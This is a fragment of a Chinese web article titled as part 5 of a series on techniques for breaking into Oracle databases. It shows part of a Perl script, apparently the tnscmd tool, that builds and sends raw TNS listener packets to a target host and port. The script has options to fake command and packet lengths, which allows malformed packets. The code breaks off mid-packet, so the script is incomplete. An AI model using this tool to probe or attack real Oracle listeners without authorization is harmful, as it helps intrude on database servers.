入侵oracle数据库的一些技巧(5)


}


my $response = tnscmd($command);
viewtns($response);
exit(0);


#
# build the packet, open the socket, send the packet, return the response
#

sub tnscmd
{
    my ($command) = shift @_;
    my ($packetlen, $cmdlen);
    my ($clenH, $clenL, $plenH, $plenL);
    my ($i);

    print "sending $command to $main::hostname:$main::port\n";

    if ($main::fakecmdsize ne "") 
    {
        $cmdlen = $main::fakecmdsize;
        print "Faking command length to $cmdlen bytes\n";
    } 
    else 
    {    
        $cmdlen = length ($command);
    }

    $clenH = $cmdlen >> 8;
    $clenL = $cmdlen & 0xff;

    # calculate packet length

    if (defined($main::fakepacketsize)) 
    {
        print "Faking packet length to $main::fakepacketsize bytes\n";
        $packetlen = $main::fakepacketsize;
    } 
    else 
    {    
        $packetlen = length($command) + 58;    # "preamble" is 58 bytes
    }

    $plenH = $packetlen >> 8;
    $plenL = $packetlen & 0xff;

    $packetlen = length($command) + 58 if (defined($main::fakepacketsize));

    # decimal offset
    # 0:  packetlen_high packetlen_low 
    # 26:  cmdlen_high cmdlen_low
    # 58:  command

    # the packet.

    my (@packet) = (
        $plenH, $plenL, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
        0x01, 0x36, 0x01, 0x2c, 0x00, 0x00, 0x08, 0x00,

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/1490.html